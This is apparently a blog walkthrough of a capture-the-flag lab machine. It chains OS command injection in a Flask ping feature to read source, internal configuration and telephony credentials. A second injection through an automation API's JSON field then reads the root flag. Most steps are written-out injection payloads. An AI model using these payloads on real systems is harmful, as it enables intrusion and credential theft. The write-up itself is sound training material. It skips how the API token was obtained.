TryHackMe -Infinity Pool CFT
HTB Infinite Pool Walkthrough (User + Root)
1. Initial Foothold – Command Injection
The application exposes an internal network check feature that executes:
subprocess.run( f"ping -c 1 {host}", shell=True, ... )
Because shell=True is used without sanitizing user input, it's vulnerable to OS Command Injection.
Testing with:
127.0.0.1;id
confirmed arbitrary command execution.
2. Enumerating the System
After confirming RCE, I started gathering information.
List web directories:
127.0.0.1;ls -la /var/www
Read the Flask application:
127.0.0.1;cat /var/www/infinity_pool/edge/app.py
This revealed another interesting endpoint:
/api/config
3. Extracting Internal Configuration
Querying the internal configuration:
127.0.0.1;curl http://127.0.0.1:3000/api/config
returned:
- Telephony username
- Telephony password
- Internal UCP URL
- Automation endpoint
Example:
telephony_user telephony_pass telephony_portal automation_endpoint
These credentials are intended for the internal FreePBX deployment.
4. Discovering Internal Services
Next, I checked which services were listening locally.
127.0.0.1;ss -tlnp
Output showed:
127.0.0.1:8080 127.0.0.1:9000
The service on 8080 hosted FreePBX/UCP, while 9000 exposed an internal automation API.
5. Inspecting Apache Configuration
To understand how the web server was configured:
127.0.0.1;cat /etc/apache2/sites-enabled/freepbx.conf
and
127.0.0.1;ls -la /var/www/html
revealed that:
/ucp
is actually a symbolic link pointing to:
/var/www/html/admin/modules/ucp/htdocs
6. Reading the FreePBX Source Code
Since I couldn't directly access the web interface externally, I inspected the PHP files.
Example:
127.0.0.1;head -100 /var/www/html/admin/modules/ucp/htdocs/index.php
This confirmed the application was a FreePBX UCP installation.
7. Finding the Automation API
The internal configuration also revealed:
http://127.0.0.1:9000
Browsing its API exposed an endpoint that accepted report generation jobs.
The API required a Bearer token, which was later obtained from the UCP workflow.
User Flag
The first proof of command execution against the automation service was:
127.0.0.1;curl -sS \ -X POST \ http://127.0.0.1:9000/jobs/export \ -H "Authorization: Bearer <TOKEN>" \ -H "Content-Type: application/json" \ --data-binary '{"report":"test;id;#"}'
Explanation
curl
→ Sends an HTTP request.
-sS
→ Silent mode while still displaying errors.
-X POST
→ Uses the POST HTTP method.
http://127.0.0.1:9000/jobs/export
→ Target API endpoint.
Authorization: Bearer
→ Authenticates using the API token.
Content-Type: application/json
→ Indicates that the request body is JSON.
--data-binary
→ Sends the JSON exactly as written.
Payload:
{ "report":"test;id;#" }
The application builds a shell command internally.
Instead of:
generate_report test
it becomes:
generate_report test;id;#
which executes:
id
The trailing # comments out the remainder of the original command.
Reading the Root Flag
After confirming command injection, reading the root flag becomes straightforward:
127.0.0.1;curl -sS \ -X POST \ http://127.0.0.1:9000/jobs/export \ -H "Authorization: Bearer <TOKEN>" \ -H "Content-Type: application/json" \ --data-binary '{"report":"x;cat /root/root.txt;#"}'
Payload explanation
x
Dummy report name.
;
Ends the legitimate command.
cat /root/root.txt
Summary
The compromise chain was:
- Command Injection in the Flask network check feature.
- Read the application source code.
- Enumerate local services.
- Retrieve internal configuration.
- Obtain FreePBX credentials.
- Discover the internal automation API.
- Abuse the report generation endpoint through command injection.
- Execute arbitrary commands as root.
- Read the root flag.
This machine is a good example of how a relatively small command injection can lead to full system compromise through careful enumeration of internal services and chained vulnerabilities.
VIDE : https://youtu.be/NpqberD-ty8
Comments
Post a Comment